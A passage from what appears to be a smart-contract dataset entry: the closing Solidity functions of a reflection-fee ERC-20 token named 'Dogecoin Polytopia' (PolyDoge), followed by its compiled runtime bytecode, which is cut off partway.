(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f446f6765636f696e20506f6c79746f7069610000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f506f6c79446f6765000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600881526020017f506f6c79446f676500000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280601281526020017f446f6765636f696e20506f6c79746f706961000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b90600052602